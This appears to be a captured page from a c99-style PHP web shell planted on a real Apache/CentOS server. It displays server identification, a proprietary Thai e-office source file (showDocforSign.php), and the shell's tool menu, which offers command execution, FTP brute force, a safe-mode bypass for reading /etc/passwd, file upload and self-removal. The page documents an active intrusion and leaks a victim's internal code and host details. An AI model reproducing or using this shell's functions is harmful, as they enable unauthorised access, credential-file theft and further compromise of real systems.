!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.24 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showDocforSign.php (23.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsDocSendtoPsTmp.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocForSign.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
$time_startpage microtime_float();
$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlc9 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oRs7 = new DocReceiveSend($oC);
$oStmp=new DocSendToPsTmp($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();
$oDfs = new DocForSign($oC);

if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";

$oDlc->SearchByKey($_SESSION['DLCID']); $oDlc->GetRecord();
$oDlp->SearchByKey($oDlc->DlpID);  $oDlp->GetRecord();
    if(
$_SESSION['DLCIDSECOND']=="Y"){
        
$oDlc9->SearchByKey($_SESSION['DLCIDSECONDID']); $oDlc9->GetRecord(); 
        
$mypersonId=$oDlc9->personId;
    }else{
        
$mypersonId=$oDlc->personId;
    }
?>
<script>
function test()
{
        var check_DrsID_len = document.gg.check_DrsID.length;
        if(check_DrsID_len==0)
        {
         document.getElementById('st_val').value ='';
        
        }
        document.getElementById('ch_all').checked =false;
        document.getElementById('st_val').value ='';
        
        for ( i = 0; i<check_DrsID_len ; i++)
         {
          if(document.gg.check_DrsID[i].checked)
           {
           document.getElementById('st_val').value+=document.gg.check_DrsID[i].value+',';
            
            }
          }
                      
          fin_str =  document.getElementById('st_val').value;
          document.getElementById('st_val').value  = fin_str.replace(',on,','');

}
function checkAll()
{
var check_DrsID_len = document.gg.check_DrsID.length;
 document.getElementById('st_val').value='';
 
for ( i = 0; i<check_DrsID_len ; i++)
 { 
     if(document.gg.check_DrsID[i].value!="enddoc"){    
          document.gg.check_DrsID[i].checked=true;
          document.getElementById('st_val').value+=document.gg.check_DrsID[i].value+',';
     }
  }
  fin_str =  document.getElementById('st_val').value;
  
   document.getElementById('st_val').value  = fin_str.replace(',on,','');
   
}

function clearAll()
{
var check_DrsID_len = document.gg.check_DrsID.length;
for ( i = 0; i<check_DrsID_len ; i++)
 {
  document.gg.check_DrsID[i].checked=false;
  document.getElementById('st_val').value='';
  
  }
}
function validate()  
{
     if(document.getElementById('st_val').value==''|| document.getElementById('st_val').value=="on,")
     {
            alert('กรุณาเลือกรายการ');
            return false;
     }else{
                str="คุณต้องการเลือกบันทึกสถานะหนังสือว่ามีผู้มารับแล้วแน่นอนใช่หรือไม่"        
            var agree=confirm(str);
            if (agree){            
                document.gg.action="processDocforSign.php";
                document.gg.submit();                 
                return true;
            }else{
                return false ;
            }          
           return true;
      }
}
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<script src="getinfo.js"></script>
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="sendDoc.php">การรับหนังสือเสนอเพื่อลงนาม</a>
    </font></legend>
        <form name="gg"  METHOD="POST" action="showDocforSign.php">
      <table align="center" width="98%" >
        <tr>
            <td width="68%" height="25"><img src="../picture/official_letter.gif"   border="0" > 
              <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong> 
              การรับหนังสือเสนอเพื่อลงนาม</strong></font> </td>
          <td width="23%" align="right">&nbsp;</td>
          <td width="9%" align="right" >&nbsp;</td>
        </tr>
        <tr>
          <td colspan="3"><hr color="#000099"></hr>
          </td>
        </tr>
        <tr><td colspan="3" align="right">
        <strong>ค้นหาหนังสือ</strong> <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(เรื่อง/ว่าด้วย)&nbsp;<input name="searchNamePre"  id="searchNamePre" type="text" size="25" value="<? echo a2th($searchNamePre); ?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchNamePre')">&nbsp;(ที่)</font>&nbsp;<input name="searchpreNo" id="searchpreNo" type="text" size="20" value="<? echo a2th($searchpreNo); ?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchpreNo')"><input name="searchNamesub" type="submit" value="ค้นหา">
              </td>
          </tr>
        
      </table><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> 
        &nbsp;&nbsp;รายการหนังสือที่ยังไม่ได้มารับคืน</strong></font> 
        <table width="99%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" >
      <tr height=22>
      <td width="15%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>จาก/ที่มา&nbsp;(ต้นเรื่อง)</strong></font></td>
      <td width="5%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เลขส่ง</strong></font></td>
      <td width="30%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เรื่อง/ว่าด้วย (ชนิดหนังสือ)</strong></font></td>
      <td width="2%" align="center" background="../picture/table_header_bg.gif"><img src="../picture/rapid0.jpg"   border="0" ></td>
          <td width="2%" align="center" background="../picture/table_header_bg.gif"><img src="../picture/secret0.jpg"   border="0" ></td>
          <td width="8%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ดำเนินการ</strong></font></td>
          </tr>
           <? //-------------------------other doc------------------------------------------------------------------------------------
                   
$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 
                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                if(
$oDlp1->DlpPID!="0"){ 
                    
//$DlcPS2=$DLCID;
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                 }else{
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                }

                if(
$oDlp->GsarabunHead=="Y" || $oDlp->GheadDept=="Y" || $oDlp->Gboss=="Y" || $oDlp->Gboss2=="Y"){ 

                        if(
$oDlp->DlpPID=="0"){  $a=2$b=1;   }else{  $a=3$b=2;  }
                                
$DlcSeq=$oDlc->DlcSeq-$a;   
                                
$DlcSeq2=$oDlc->DlcSeq-$b
                                
$oDlc3->SearchByNextDlcID($DlcSeq,$oDlc->docGroup,$oDlc->deptId); $oDlc3->GetRecord();   $DLCID2=$oDlc3->DlcID;
                            
                                if(
$oDlp->DlpPID=="0"){  
                                    
$oDlc4->SearchByNextDlcID($DlcSeq2,$oDlc->docGroup,$oDlc->deptId); $oDlc4->GetRecord();  $DlcPS22=$oDlc4->DlcID;
                                }else{ 
                                    
$oDlc4->SearchByNextDlcID($DlcSeq2,$oDlc->docGroup,$oDlc->deptId); $oDlc4->GetRecord();  $DlcPS22=$oDlc4->DlcID;
                                }        
                                
$oDoc->SearchDlcIDstatusNoGetJoin($oDlc->deptId,$MaxDocGroup,th2a($searchNamePre),th2a($searchpreNo));
                }else{
                    
$oDoc->SearchDlcIDstatusNoGetJoin($oDlc->deptId,$MaxDocGroup,th2a($searchNamePre),th2a($searchpreNo));
                }
                  
                  
$i=0;                
                  while(
$oDoc->GetRecord()){ 
                    if((
$i%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22 align=\"left\">";
          
?>
      <td align="left">
       <? 
       
if($oDoc->DtID=="1" || $oDoc->DtID=="2" || $oDoc->DtID=="14"){
                        echo 
"&nbsp;".$oDoc->DocFrom."<br>";
       }else{
              if(
$oDoc->DocPID=="0"){
                    
$oDlc2->SearchByKey($oDoc->DlcID); $oDlc2->GetRecord();
                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();                    
                    echo 
"&nbsp;".$oDoc->DocFrom."<br>";
                    echo 
"&nbsp;(".$oDlp->DlpName.")";
            }else{
                    
$oDoc4->SearchByKey($oDoc->DocPID); $oDoc4->GetRecord();
                    
$oDlc2->SearchByKey($oDoc4->DlcID); $oDlc2->GetRecord();
                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();
                    echo 
"&nbsp;".$oDoc->DocFrom."<br>";
                    echo 
"&nbsp;(".$oDlp->DlpName.")";
            }
        }
            
        if(
$oDoc->RsID!='2'){ $fn="showSendDoc.php"; }else{   $fn="showSendDocSR.php";}
      
?>
      </td>
      <td align="center">
      <?      
                $oDoc3
->SearchByKey($oDoc->DocID);
                
$oDoc3->GetRecord();
                echo 
$oDoc3->DocTypeNo;
        
?>
      </td>
      <td align="left">&nbsp;<?  echo $oDoc->DocSubject;  ?>
      &nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>" size="2"><? $oDt->SearchByKey($oDoc->DtID); $oDt->GetRecord(); echo "(".$oDt->DtName.")";?></font>
      <?  if($oDlp1->DlpPID!="0"){   if($DLCID==$oDoc->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[รักษาการ]</strong></font>"; }} ?>
     <?  if($oDlp1->DlpPID=="0"){   if($DlcPS2==$oDoc->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[รักษาการ]</strong></font>"; }} ?>
      </td>
        <td align="center"><? echo searchPicDocSpeedLevel($oDoc->DslID); ?></td>
            <td align="center"><? echo searchPicDocSecretLevel($oDoc->DclID); ?></td>
            <td align="center"><input type='checkbox'  name='check_DrsID'  id='check_DrsID' onclick='return test()'   value=<? echo $oDoc->dfID?>></td>  
      </tr>
          <? $i++; }  ?>
      </table>
        <table width="99%" align="center" border=0 cellpadding="0" cellspacing="0" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_13'];?>"  height="22">
        <? if($i=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการ **</font></td></tr>
          <? }else{  ?>
            <tr>
              <td align="right"  colspan="8" bgcolor="#D2D2D2"> <font color="#000066">เลือกทั้งหมด</font>
            <input type='checkbox' id="ch_all" name='check_DrsID' onClick="if(this.checked)checkAll(); else clearAll()" />    <br>
             <input type="hidden" id="st_val" name="store_DrsID" style="border:#000000 1px solid" >
                <span style="padding-left:180px"> 
                <input type="button" value="รับแล้ว"  onClick="return validate()" ></span></td></tr>
          <? }?>
       <tr height=22><td align="right">&nbsp;</td></tr>
        <tr height=22 bgcolor="#FFFFFF">
          <td colspan="8" valign="bottom"><br>
          <hr color="#000099"></hr></td>
        </tr>
      </table>
      <input name="selectdfID" id="selectdfID" type="hidden">
      </form>
      <form name="ff"  METHOD="POST" action="showDocforSign.php">
      <? if($monthe==""){  $monthe=Date('m'); } if($searchYear==""){  $searchYear=Date('Y')+543; }  //echo "month=".$monthe."&nbsp;"."Year=".$searchYear;?>
       <table  width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"> 
          <tr height=27 bgcolor="#FFFFFF" ><td align="left" >&nbsp;
           <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> 
          <a id="openshow" <? if($flagshow=="1"){   ?>style="display:none; cursor:pointer"  <? }else{ ?> style="display:''; cursor:pointer" <? }?>   onclick="up_downList('<? if($flagshow=="1"){   echo "up"; }else{  echo "up"; }?>')"><img src="../picture/downshow.gif" title="แสดง"  border="0" >&nbsp;<U>แสดงรายการหนังสือที่มารับแล้วทั้งหมด</U></a>
          <a  id="closeshow" <? if($flagshow=="1"){   ?>style="display:''; cursor:pointer" <? }else{ ?>style="display:none; cursor:pointer"  <? }?> title="ซ่อน" onclick="up_downList('<? if($flagshow=="1"){  echo "down";  }else{  echo "down";  }?>')"><img src="../picture/downshow.gif" title="ซ่อน"  border="0" >&nbsp;<U>ซ่อนรายการหนังสือที่มารับแล้วทั้งหมด</U></a>
          </strong></font>
          <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"   id="showtable" <? if($flagshow=="1"){   ?>style="display:''; border-collapse:collapse" <? }else{ ?>style="display:none; border-collapse:collapse"  <? }?>>
          <tr><td>
           <div id="showselect">
            <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"  style="border-collapse:collapse">
            <tr><td align="right">
            <b>ค้นหาหนังสือ</b> <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(เรื่อง/ว่าด้วย)</font>&nbsp;<input name="searchName" id="searchName"  type="text" size="25" value="<? echo a2th($searchName); ?>"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">&nbsp;(ที่)</font>&nbsp;<input name="searchNo" id="searchNo"  type="text" size="20" value="<? echo a2th($searchNo); ?>">&nbsp;&nbsp;
            <br><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(ประจำเดือน)</font>&nbsp;
            <select name="monthe" id="monthe" onChange="ShowInfoSendDocforSign('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')">
                <option value="01" <? if($monthe=="01"){ echo "selected";   }?>>ม.ค.</option>
                <option value="02" <? if($monthe=="02"){ echo "selected";   }?>>ก.พ.</option>
                <option value="03" <? if($monthe=="03"){ echo "selected";   }?>>มี.ค.</option>
                <option value="04" <? if($monthe=="04"){ echo "selected";   }?>>เม.ย.</option>
                <option value="05" <? if($monthe=="05"){ echo "selected";   }?>>พ.ค.</option>
                <option value="06" <? if($monthe=="06"){ echo "selected";   }?>>มิ.ย.</option>
                <option value="07" <? if($monthe=="07"){ echo "selected";   }?>>ก.ค.</option>
                <option value="08" <? if($monthe=="08"){ echo "selected";   }?>>ส.ค.</option>
                <option value="09" <? if($monthe=="09"){ echo "selected";   }?>>ก.ย.</option>
                <option value="10" <? if($monthe=="10"){ echo "selected";   }?>>ต.ค.</option>
                <option value="11" <? if($monthe=="11"){ echo "selected";   }?>>พ.ย.</option>
                <option value="12" <? if($monthe=="12"){ echo "selected";   }?>>ธ.ค.</option>
              </select>
                    &nbsp;<input name="searchYear" id="searchYear" type="text" size="5" maxlength="5" value=<? if($searchYear!=""){  echo a2th($searchYear);  }else{  echo a2th(Date('Y')+543); } ?> onKeyUp="On_Year('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')" onkeypress="return isNumberKey('<? echo $InputThai?>',event)">
                    <input name="searchNamesub" type="button" value="ค้นหา" onClick="ShowInfoSendDocforSign('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')">&nbsp;&nbsp;</td></tr>
            </table>
          <table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse" >
             <?  $flagshow=1;?>
              <tr height=22>
      <td width="15%" align="center" background="../picture/table_header_bg6.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>จาก/ที่มา&nbsp;(ต้นเรื่อง)</strong></font></td>
      <td width="5%" align="center" background="../picture/table_header_bg6.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เลขส่ง</strong></font></td>
      <td width="28%" align="center" background="../picture/table_header_bg6.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เรื่อง/ว่าด้วย (ชนิดหนังสือ)</strong></font></td>
       <td width="10%" align="center" background="../picture/table_header_bg6.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>วันที่รับเอกสาร</strong></font></td>
      <td width="2%" align="center" background="../picture/table_header_bg6.gif"><img src="../picture/rapid0.jpg"   border="0" ></td>
          <td width="2%" align="center" background="../picture/table_header_bg6.gif"><img src="../picture/secret0.jpg"   border="0" ></td>
        </tr>
          
          <?
                          
//--------------------------------find count
                        
$numRow $oDoc4->SearchGetDocForSign($oDlc->deptId,$MaxDocGroup,$monthe,th2a($searchYear),th2a($searchName),th2a($searchNo));        

    
$z=0;
    if(
$numRow!=0){
                        
$total_page = (int)($numRow/$GLOBALS['PAGE_SIZE']);
                        if((
$numRow%$GLOBALS['PAGE_SIZE']) != 0)
                            
$total_page++;

                        if(
$page_id!=""){   if($page_id>$total_page){  $page_id 1$start 0; }}else{   $page_id 1$start 0;}
                        if(isset(
$page_id))
                            
$start $GLOBALS['PAGE_SIZE']*($page_id-1);
                        else {
                            
$page_id 1;
                            
$start 0;
                        }


            
$oDoc3->SearchGetDocForSignLimit($oDlc->deptId,$MaxDocGroup$start$GLOBALS['PAGE_SIZE'],$monthe,th2a($searchYear),th2a($searchName),th2a($searchNo));                            
            while(
$oDoc3->GetRecord()){ 
                            if((
$z%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22>";
            
?>
      <td align="left">
       <? 
       
if($oDoc3->DtID=="1" || $oDoc3->DtID=="2" || $oDoc3->DtID=="14"){
                        echo 
"&nbsp;".$oDoc3->DocFrom."<br>";
       }else{
              if(
$oDoc3->DocPID=="0"){
                    
$oDlc2->SearchByKey($oDoc3->DlcID); $oDlc2->GetRecord();
                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();                    
                    echo 
"&nbsp;".$oDoc3->DocFrom."<br>";
                    echo 
"&nbsp;(".$oDlp->DlpName.")";
            }else{
                    
$oDoc4->SearchByKey($oDoc3->DocPID); $oDoc4->GetRecord();
                    
$oDlc2->SearchByKey($oDoc4->DlcID); $oDlc2->GetRecord();
                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();
                    echo 
"&nbsp;".$oDoc3->DocFrom."<br>";
                    echo 
"&nbsp;(".$oDlp->DlpName.")";
            }
        }
            
        if(
$oDoc3->RsID!='2'){ $fn="showSendDoc.php"; }else{   $fn="showSendDocSR.php";}
      
?>
      </td>
      <td align="center">
      <?      
                $oDoc4
->SearchByKey($oDoc3->DocID);
                
$oDoc4->GetRecord();
                echo 
$oDoc4->DocTypeNo;
        
?>
      </td>
      <td align="left">&nbsp;<?  echo $oDoc3->DocSubject;  ?>
      &nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>" size="2"><? $oDt->SearchByKey($oDoc3->DtID); $oDt->GetRecord(); echo "(".$oDt->DtName.")";?></font>
      <?  if($oDlp1->DlpPID!="0"){   if($DLCID==$oDoc3->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[รักษาการ]</strong></font>"; }} ?>
     <?  if($oDlp1->DlpPID=="0"){   if($DlcPS2==$oDoc3->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[รักษาการ]</strong></font>"; }} ?>
      </td>
      <td align="center">            
      <?                                    list($DocD,$DocT) = preg_split('[ ]',$oDoc3->getDate);
                                                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
        
?></td>
            <td align="center"><? echo searchPicDocSpeedLevel($oDoc3->DslID); ?></td>
            <td align="center"><? echo searchPicDocSecretLevel($oDoc3->DclID); ?></td>
      </tr>
           <? $z++; } }
            if(
$z=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF" colspan="7"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการ **</font></td></tr>
          <tr height=22 bgcolor="#DADADA"><td align="right" colspan="7">&nbsp;</td></tr>
          <? }else{  ?>
           <tr height=22 bgcolor="#DADADA"><td align="right" colspan="7"><strong>หน้า-&gt;</strong>
<?php 
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo  
a2th($num)." ";
                        else {
?>
                            <a href="showDocforSign.php?page_id=<?php echo $num;?>&flagshow=<? echo $flagshow?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&searchName=<? echo $searchName?>&searchNo=<? echo $searchNo?>"><?php echo '[ 'a2th($num).' ]'; if($num==14){echo "<br>";}?></a>
<?php
                        
}
                    }
?>&nbsp;&nbsp;</td></tr>
          <? ?>
          </table><br>
          </div></td></tr>
    </table></td></tr></table><input type="hidden" name="flagshow" id="flagshow"  value="<? echo $flagshow?>">
    <input type="hidden" name="pgajax"  id="pgajax"   value="<? echo $GLOBALS['PAGE_SIZE']; ?>">
       </form>
</fieldset> 
      <table width="99%" border="0" align="center">
        
         <tr> 
          <td width="134" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td colspan="2" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ชั้นความเร็ว&nbsp;
            <? $oDsl->RSDocSpeedLevel();  while($oDsl->GetRecord()){  echo searchPicDocSpeedLevel($oDsl->DslID);  echo "&nbsp;".$oDsl->DslName."&nbsp;&nbsp;"; }?></font></td>
        </tr>
        <tr> 
          <td width="134">&nbsp;</td>
          <td colspan="2" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ชั้นความลับ&nbsp;
            <? $oDcl->RSDocSecretLevel(); $r=0; while($oDcl->GetRecord()){  echo searchPicDocSecretLevel($oDcl->DclID);  echo "&nbsp;".$oDcl->DclName."&nbsp;&nbsp;"; }?></font></td>
        </tr>
      </table>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<?
$time_endpage 
microtime_float();
echo 
'<div align=right><font color=#AAAAAA>'.$time $time_endpage $time_startpage;
echo 
' s</font></div>';
?>
<script language="javascript">
function acceptDoc(dfID){
         var agree=confirm("บันทึกสถานะหนังสือว่ามีผู้มารับแล้วใช่หรือไม่ ?");
        if (agree){
             document.gg.selectdfID.value=dfID;
             document.gg.action="processDocforSign.php";
             document.gg.submit();
            return true;
        }else{
            return false ;
        }
}
function showDoc(){
    document.ff.submit();
}
function up_downList(status){
    var mybrowser=navigator.userAgent;    
    if(status=='up'){        
                if(mybrowser.indexOf('MSIE')>0){
                        closeshow.style.display='';
                        openshow.style.display='none';
                        showtable.style.display='';
                }else{
                        document.getElementById( 'closeshow' ).setAttribute( 'style', 'display:' );
                        document.getElementById( 'openshow' ).setAttribute( 'style', 'display:none' );
                        document.getElementById( 'showtable' ).setAttribute( 'style', 'display:' );        
                }        
    }else{    
                if(mybrowser.indexOf('MSIE')>0){
                        openshow.style.display='';
                        closeshow.style.display='none';
                        showtable.style.display='none';
                }else{
                        document.getElementById( 'openshow' ).setAttribute( 'style', 'display:' );
                        document.getElementById( 'closeshow' ).setAttribute( 'style', 'display:none' );
                        document.getElementById( 'showtable' ).setAttribute( 'style', 'display:none' );                                                        
                }        
    }
}
function On_preMonth(){
      searchpreYear=document.gg.searchpreYear.value;
      if (searchpreYear=="") {
      alert('กรุณากรอกปี');
      document.gg.searchpreYear.focus();
      return false ;
   }
    document.gg.submit();
}
function On_preYear(){
    searchpreYear=document.gg.searchpreYear.value;
    if (searchpreYear.length == 4) {
        document.gg.submit();
    }
}
function changeS2(){
        if(document.ff.searchName.value==""){
            document.ff.searchName.value="";
        }
        if(document.ff.searchNo.value==""){
            document.ff.searchNo.value="";
        }        
        document.ff.submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0095 ]--